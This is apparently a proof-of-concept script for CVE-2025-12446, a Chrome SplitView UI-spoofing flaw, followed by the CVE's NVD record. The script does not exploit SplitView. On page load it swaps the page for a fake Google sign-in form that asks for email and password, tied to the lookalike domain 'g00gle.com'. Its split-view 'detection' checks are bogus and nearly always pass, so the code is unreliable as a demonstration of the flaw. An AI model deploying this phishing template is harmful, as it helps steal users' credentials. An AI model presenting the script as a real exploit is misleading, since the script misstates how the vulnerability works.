CVE-2025-12446

// CVE-2025-12446 PoC - UI Spoofing in SplitView // This PoC demonstrates the UI spoofing vulnerability in Chrome's SplitView const pocDomain = 'g00gle.com'; // Attacker-controlled domain mimicking legitimate site function exploitUI() { // Create a malicious page that mimics legitimate site UI const maliciousContent = ` <div style=" position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); display: flex; justify-content: center; align-items: center; font-family: Arial, sans-serif; "> <div style="background: white; padding: 40px; border-radius: 10px; text-align: center;"> <h1 style="color: #4285f4;">Welcome to Google</h1> <p>Please enter your credentials</p> <input type="text" placeholder="Email" style="padding: 10px; margin: 5px;"> <input type="password" placeholder="Password" style="padding: 10px; margin: 5px;"> <button style="padding: 10px 20px; background: #4285f4; color: white; border: none;">Sign In</button> </div> </div> `; document.body.innerHTML = maliciousContent; // Detect SplitView mode if (window.matchMedia('(display-mode: split-view)').matches || document.documentElement.offsetWidth > window.innerWidth) { console.log('SplitView detected - UI spoofing possible'); } } // Trigger on page load document.addEventListener('DOMContentLoaded', exploitUI); // Alternative: Check for multi-window/split capabilities function checkSplitViewVulnerability() { const indicators = [ screen.width !== window.innerWidth, window.screenY !== undefined, document.elementFromPoint !== undefined ]; if (indicators.some(i => i)) { console.log('Potential SplitView UI spoofing environment detected'); } }

{"cve": {"id": "CVE-2025-12446", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:39.363", "lastModified": "2025-11-13T15:21:41.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in SplitView in Google Chrome prior to 142.0.7444.59 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted domain name. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/444932667", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}